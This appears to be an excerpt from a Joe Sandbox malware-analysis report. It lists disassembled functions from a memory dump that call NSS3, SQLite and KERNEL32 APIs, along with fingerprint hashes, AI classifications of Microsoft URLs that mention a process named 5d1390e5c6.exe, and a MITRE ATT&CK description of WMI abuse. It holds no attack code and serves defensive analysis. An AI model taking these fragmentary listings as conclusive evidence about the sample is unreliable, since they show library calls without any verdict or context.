Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: htons$CurrentThreadhtonl
String ID:
API String ID: 2156189399-0
Opcode ID: d2c68a7ca489f48b71e01a50b6ea4570bda8aca7dce7b3d659a2e59d948e13e6
Instruction ID: 13354024e2d55de07426d9c9948baee158c335d1ab966e7491f3ee01f1cce4ba
Opcode Fuzzy Hash: d2c68a7ca489f48b71e01a50b6ea4570bda8aca7dce7b3d659a2e59d948e13e6
Instruction Fuzzy Hash: 0E118261D64B9197D310CF2689056B6B3B4BFA5318F02EB1EE8CA47E61F774A1C0C398

Function 6CC78DD0 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CC78DE7
EnterCriticalSection.KERNEL32 ref: 6CC78DFC
PR_Unlock.NSS3 ref: 6CC78E2D
PR_SetError.NSS3 ref: 6CC78E49

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 61d14e6e23c87552992c298aa369dd1ee150999b66fc90ff60eea9b5493af65b
Instruction ID: 58841fc289521bef43b5728a1bfcb475c53e3893093dfcfd744363d65fd120e4
Opcode Fuzzy Hash: 61d14e6e23c87552992c298aa369dd1ee150999b66fc90ff60eea9b5493af65b
Instruction Fuzzy Hash: 9A116AB5605A019BD700AF78D4886AABBF4FF05354F01496ADD98D7B00F730E894CBE2

Function 6CCE2BE0 Relevance: 6.1, APIs: 4, Instructions: 52COMMON

Download Yara Rule

APIs

CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6CCE2A28,00000060,00000001), ref: 6CCE2BF0

Part of subcall function 6CC595B0: TlsGetValue.KERNEL32(00000000,?,6CC700D2,00000000), ref: 6CC595D2
Part of subcall function 6CC595B0: EnterCriticalSection.KERNEL32(?,?,?,6CC700D2,00000000), ref: 6CC595E7
Part of subcall function 6CC595B0: PR_Unlock.NSS3(?,?,?,?,6CC700D2,00000000), ref: 6CC59605

CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6CCE2A28,00000060,00000001), ref: 6CCE2C07
SECKEY_DestroyPublicKey.NSS3(?,00000000,00000000,?,6CCE2A28,00000060,00000001), ref: 6CCE2C1E
free.MOZGLUE(?,00000000,00000000,?,6CCE2A28,00000060,00000001), ref: 6CCE2C4A

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Destroy$Certificate$CriticalEnterPublicSectionUnlockValuefree
String ID:
API String ID: 358400960-0
Opcode ID: 59fcbf55d6dfa11550312cf2e832aa9dbfce2f7beda5ba2cbba2dbc409211dca
Instruction ID: 2ae33cc559bf063392911ce6abeb8ca5d858d4804d75edf24995a0c61afffdf9
Opcode Fuzzy Hash: 59fcbf55d6dfa11550312cf2e832aa9dbfce2f7beda5ba2cbba2dbc409211dca
Instruction Fuzzy Hash: 97015AB1E007414BEB20CF35E918B43B7E8AF59648F100A28E88AC3A41FB31F5588691

Function 6CCFAC70 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(000A34B6,00000000,00000678,?,6CCE5F17,?,?,?,?,?,?,?,?,6CCEAAD4), ref: 6CCFAC94
PK11_FreeSymKey.NSS3(08C483FF,00000000,00000678,?,6CCE5F17,?,?,?,?,?,?,?,?,6CCEAAD4), ref: 6CCFACA6
free.MOZGLUE(20868D04,?,?,?,?,?,?,?,?,6CCEAAD4), ref: 6CCFACC0
free.MOZGLUE(04C48300,?,?,?,?,?,?,?,?,6CCEAAD4), ref: 6CCFACDB

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: free$DestroyFreeK11_Monitor
String ID:
API String ID: 3989322779-0
Opcode ID: fa036d3ed4c046c6d5e0253245b4c9f90c11f792b8cfadcbdb383fd19b39308e
Instruction ID: d6e36720d26606e2a6efd320aaec1db278ac36a080708ed407cd095de56f5bf0
Opcode Fuzzy Hash: fa036d3ed4c046c6d5e0253245b4c9f90c11f792b8cfadcbdb383fd19b39308e
Instruction Fuzzy Hash: AE0152B5B01B019BE750DF69E944757B7E8BF80665B104839D85AC3E10E732F055CB91

Function 6CCA88E0 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,?,?,6CCB08AA,?), ref: 6CCA88F6
EnterCriticalSection.KERNEL32(?,?,?,?,6CCB08AA,?), ref: 6CCA890B
PR_NotifyCondVar.NSS3(?,?,?,?,?,6CCB08AA,?), ref: 6CCA8936
PR_Unlock.NSS3(?,?,?,?,?,6CCB08AA,?), ref: 6CCA8940

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: CondCriticalEnterNotifySectionUnlockValue
String ID:
API String ID: 959714679-0
Opcode ID: 37515629fb7104ee57637591680443951e6deba3b87bc6c70022ca7bf242a816
Instruction ID: 8ec941e0f1aa7e220a04ff8b9734b96da455ef152b733d10f5a015155b1bed7b
Opcode Fuzzy Hash: 37515629fb7104ee57637591680443951e6deba3b87bc6c70022ca7bf242a816
Instruction Fuzzy Hash: 10019674A046469FE700AFB9C088659B7F8FF05398F05462AD988C7B00F730E495CBD6

Function 6CCFAC00 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,6CCE5D40,00000000,?,?,6CCD6AC6,6CCE639C), ref: 6CCFAC2D

Part of subcall function 6CC9ADC0: TlsGetValue.KERNEL32(?,6CC7CDBB,?,6CC7D079,00000000,00000001), ref: 6CC9AE10
Part of subcall function 6CC9ADC0: EnterCriticalSection.KERNEL32(?,?,6CC7CDBB,?,6CC7D079,00000000,00000001), ref: 6CC9AE24
Part of subcall function 6CC9ADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6CC7D079,00000000,00000001), ref: 6CC9AE5A
Part of subcall function 6CC9ADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6CC7CDBB,?,6CC7D079,00000000,00000001), ref: 6CC9AE6F
Part of subcall function 6CC9ADC0: free.MOZGLUE(85145F8B,?,?,?,?,6CC7CDBB,?,6CC7D079,00000000,00000001), ref: 6CC9AE7F
Part of subcall function 6CC9ADC0: TlsGetValue.KERNEL32(?,6CC7CDBB,?,6CC7D079,00000000,00000001), ref: 6CC9AEB1
Part of subcall function 6CC9ADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6CC7CDBB,?,6CC7D079,00000000,00000001), ref: 6CC9AEC9

PK11_FreeSymKey.NSS3(?,6CCE5D40,00000000,?,?,6CCD6AC6,6CCE639C), ref: 6CCFAC44
SECITEM_ZfreeItem_Util.NSS3(8CB6FF15,00000000,6CCE5D40,00000000,?,?,6CCD6AC6,6CCE639C), ref: 6CCFAC59
free.MOZGLUE(8CB6FF01,6CCD6AC6,6CCE639C,?,?,?,?,?,?,?,?,?,6CCE5D40,00000000,?,6CCEAAD4), ref: 6CCFAC62

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID:
API String ID: 1595327144-0
Opcode ID: 094202621a5e0f5985d094145509a5762631afa22c156cb307277282a61e393c
Instruction ID: 0723968631c517ee3a8a6466f459dbbf4ac9901fa1525f08592596fba0f95ae5
Opcode Fuzzy Hash: 094202621a5e0f5985d094145509a5762631afa22c156cb307277282a61e393c
Instruction Fuzzy Hash: 59014FB5A002009FDB00DF55E8D0B56B7B8AF84758F1880A8E9598F706E731E845CBA1

Function 6CCE0840 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6CDB2F88,6CCE0660,00000020,00000000,?,?,6CCE2C3D,?,00000000,00000000,?,6CCE2A28,00000060,00000001), ref: 6CCE0860

Part of subcall function 6CBD4C70: TlsGetValue.KERNEL32(?,?,?,6CBD3921,6CDB14E4,6CD1CC70), ref: 6CBD4C97
Part of subcall function 6CBD4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CBD3921,6CDB14E4,6CD1CC70), ref: 6CBD4CB0
Part of subcall function 6CBD4C70: PR_Unlock.NSS3(?,?,?,?,?,6CBD3921,6CDB14E4,6CD1CC70), ref: 6CBD4CC9

TlsGetValue.KERNEL32(00000020,00000000,?,?,6CCE2C3D,?,00000000,00000000,?,6CCE2A28,00000060,00000001), ref: 6CCE0874
EnterCriticalSection.KERNEL32(00000001), ref: 6CCE0884
PR_Unlock.NSS3 ref: 6CCE08A3

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$CallOnce
String ID:
API String ID: 2502187247-0
Opcode ID: c91c515a93bdd495ac5a905bc56c656163b044de8b23e4eb8b8de03a4029348c
Instruction ID: 9dfe963ea1bc35d319733f0aed140289cb7a316270dc30035ad4655e5953cb08
Opcode Fuzzy Hash: c91c515a93bdd495ac5a905bc56c656163b044de8b23e4eb8b8de03a4029348c
Instruction Fuzzy Hash: F50147B2E00240ABFB102B66EC05A59777CEB5F31CF080161EE0852A02FF22D4549AE1

Function 6CD6CC50 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?), ref: 6CD6CC61
free.MOZGLUE ref: 6CD6CC6E
DeleteCriticalSection.KERNEL32(?), ref: 6CD6CC80
free.MOZGLUE(?), ref: 6CD6CC87

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: CriticalDeleteSectionfree
String ID:
API String ID: 2988086103-0
Opcode ID: 89373fa8f245f686919df38e0a1d0a8c07674b0bb41c1326d6daa2f7e4bbfea5
Instruction ID: f0b50666311fd42942ef2f922ddad64b7eb41733305f7ea3ced6558e72a2167b
Opcode Fuzzy Hash: 89373fa8f245f686919df38e0a1d0a8c07674b0bb41c1326d6daa2f7e4bbfea5
Instruction Fuzzy Hash: 8AE030767006089BDA10EFA8DC8489A77ACEE892703150525E791C3700D232F905CBA1

Function 6CCA4D10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6CCA4D57
PR_snprintf.NSS3(?,00000008,%d.%d,?,?), ref: 6CCA4DE6

Strings

%d.%d, xrefs: 6CCA4DDE

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: ErrorR_snprintf
String ID: %d.%d
API String ID: 2298970422-3954714993
Opcode ID: 6184296aaeb62a3c0617fd8fb5d7ee4ec92d66bbb25b7ce168e5cac1663971c5
Instruction ID: fce0e999e46bdd98d1bf98e4a8babb6baa02883b1449fb02f3d2bcd254a2428c
Opcode Fuzzy Hash: 6184296aaeb62a3c0617fd8fb5d7ee4ec92d66bbb25b7ce168e5cac1663971c5
Instruction Fuzzy Hash: C531EAB2D0421A6BEB509BE1DC05BFF7768EF41308F050469ED159B791FB309906CBA2

Function 6CD40900 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3(?), ref: 6CD40917
sqlite3_value_text.NSS3(?), ref: 6CD40923

Part of subcall function 6CC013C0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,6CBD2352,?,00000000,?,?), ref: 6CC01413
Part of subcall function 6CC013C0: memcpy.VCRUNTIME140(00000000,6CBD2352,00000002,?,?,?,?,6CBD2352,?,00000000,?,?), ref: 6CC014C0

Strings

error in %s %s%s%s: %s, xrefs: 6CD40944

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: sqlite3_value_text$memcpystrlen
String ID: error in %s %s%s%s: %s
API String ID: 1937290486-1007276823
Opcode ID: 4bbc93e7cbdde87424fc377084f54a3e3064684fa221f17b9f48fd60242e4c06
Instruction ID: 3055856a7baf0c4b019462c069f71270b49556bc1a9f307ddf8bac4f45f2ddc3
Opcode Fuzzy Hash: 4bbc93e7cbdde87424fc377084f54a3e3064684fa221f17b9f48fd60242e4c06
Instruction Fuzzy Hash: C70148B6E001449BE7009F18FC419BAB7B5EFC0208F148429ED485B711F732AD15C7A1

Function 6CCEAF70 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

PR_GetUniqueIdentity.NSS3(SSL), ref: 6CCEAF78

Part of subcall function 6CC4ACC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CC4ACE2
Part of subcall function 6CC4ACC0: malloc.MOZGLUE(00000001), ref: 6CC4ACEC
Part of subcall function 6CC4ACC0: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CC4AD02
Part of subcall function 6CC4ACC0: TlsGetValue.KERNEL32 ref: 6CC4AD3C
Part of subcall function 6CC4ACC0: calloc.MOZGLUE(00000001,?), ref: 6CC4AD8C
Part of subcall function 6CC4ACC0: PR_Unlock.NSS3 ref: 6CC4ADC0
Part of subcall function 6CC4ACC0: PR_Unlock.NSS3 ref: 6CC4AE8C
Part of subcall function 6CC4ACC0: free.MOZGLUE(?), ref: 6CC4AEAB

memcpy.VCRUNTIME140(6CDB3084,6CDB02AC,00000090), ref: 6CCEAF94

Strings

SSL, xrefs: 6CCEAF73

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Unlock$IdentityUniqueValuecallocfreemallocmemcpystrcpystrlen
String ID: SSL
API String ID: 2424436289-2135378647
Opcode ID: b2f18e870a11f0242b3eb6352b3a4566282d222771ac68a97d2d53a5393855bb
Instruction ID: 5feb49701bd501b7af9cdd1d8fc053920e76709738a837175a6687f440fb97cb
Opcode Fuzzy Hash: b2f18e870a11f0242b3eb6352b3a4566282d222771ac68a97d2d53a5393855bb
Instruction Fuzzy Hash: 9B217BF2645B49DBEA01DF16A5533227E79BB0B288B505108D7190BF24EF319008BFDD

Function 6CC40F00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON

Download Yara Rule

APIs

PR_GetPageSize.NSS3(6CC40936,FFFFE8AE,?,6CBD16B7,00000000,?,6CC40936,00000000,?,6CBD204A), ref: 6CC40F1B

Part of subcall function 6CC41370: GetSystemInfo.KERNEL32(?,?,?,?,6CC40936,?,6CC40F20,6CC40936,FFFFE8AE,?,6CBD16B7,00000000,?,6CC40936,00000000), ref: 6CC4138F

PR_NewLogModule.NSS3(clock,6CC40936,FFFFE8AE,?,6CBD16B7,00000000,?,6CC40936,00000000,?,6CBD204A), ref: 6CC40F25

Part of subcall function 6CC41110: calloc.MOZGLUE(00000001,0000000C,?,?,?,?,?,?,?,?,?,?,6CC40936,00000001,00000040), ref: 6CC41130
Part of subcall function 6CC41110: strdup.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,6CC40936,00000001,00000040), ref: 6CC41142
Part of subcall function 6CC41110: PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES,?,?,?,?,?,?,?,?,?,?,?,?,?,6CC40936,00000001), ref: 6CC41167

Strings

clock, xrefs: 6CC40F20

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: InfoModulePageSecureSizeSystemcallocstrdup
String ID: clock
API String ID: 536403800-3195780754
Opcode ID: bda66d37ae3be95ea73d787bc31f77ee0eb35e915824fc1aec031d9515dd01ea
Instruction ID: c1bdafb6d841dd3be58bce94ba57b10b051a0519da02f927e79708446defe7e8
Opcode Fuzzy Hash: bda66d37ae3be95ea73d787bc31f77ee0eb35e915824fc1aec031d9515dd01ea
Instruction Fuzzy Hash: 80D02232608104D1E100239FDC44B96B2BCC7C367EF00CC22E2A841D105B2440FEC369

Function 6CCB0DB0 Relevance: 5.1, APIs: 4, Instructions: 97COMMON

Download Yara Rule

APIs

calloc.MOZGLUE ref: 6CCB0DF5
TlsGetValue.KERNEL32 ref: 6CCB0E2D
TlsGetValue.KERNEL32 ref: 6CCB0E58
TlsGetValue.KERNEL32 ref: 6CCB0E84

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Value$calloc
String ID:
API String ID: 3339632435-0
Opcode ID: ed2f669967cc0c945486b9eedcefb789dfe8f0758c22d058e214a7731c7451c0
Instruction ID: 026d701f8d44a4495323c4e04a1074a787c9172d2270b052e79c4e009696ea4b
Opcode Fuzzy Hash: ed2f669967cc0c945486b9eedcefb789dfe8f0758c22d058e214a7731c7451c0
Instruction Fuzzy Hash: 3F31D2F16447C1CBEB006FB9C68566977B8BF46348F018669E9C897A21FB34D485CB82

Function 6CCB0F10 Relevance: 5.1, APIs: 4, Instructions: 52stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6CC52AF5,?,?,?,?,?,6CC50A1B,00000000), ref: 6CCB0F1A
malloc.MOZGLUE(00000001), ref: 6CCB0F30
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CCB0F42
TlsGetValue.KERNEL32 ref: 6CCB0F5B

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Valuemallocmemcpystrlen
String ID:
API String ID: 2332725481-0
Opcode ID: ddef2976db7bc2b11c7a014c6ec89fd33ba73a1ab0558debb528c18b39db6362
Instruction ID: 0e1059fb2563b1472b497617be62114ed02c822080d278eca6b297db174855e7
Opcode Fuzzy Hash: ddef2976db7bc2b11c7a014c6ec89fd33ba73a1ab0558debb528c18b39db6362
Instruction Fuzzy Hash: DA01D8F1F402809BF7102BBBDE446667BACEF92299F014121ED18D7A21FB31C855C6E2

Input	Output
URL: https://microsoft.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": true, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://microsoft.com
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=5d1390e5c6.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "Register now", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=5d1390e5c6.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
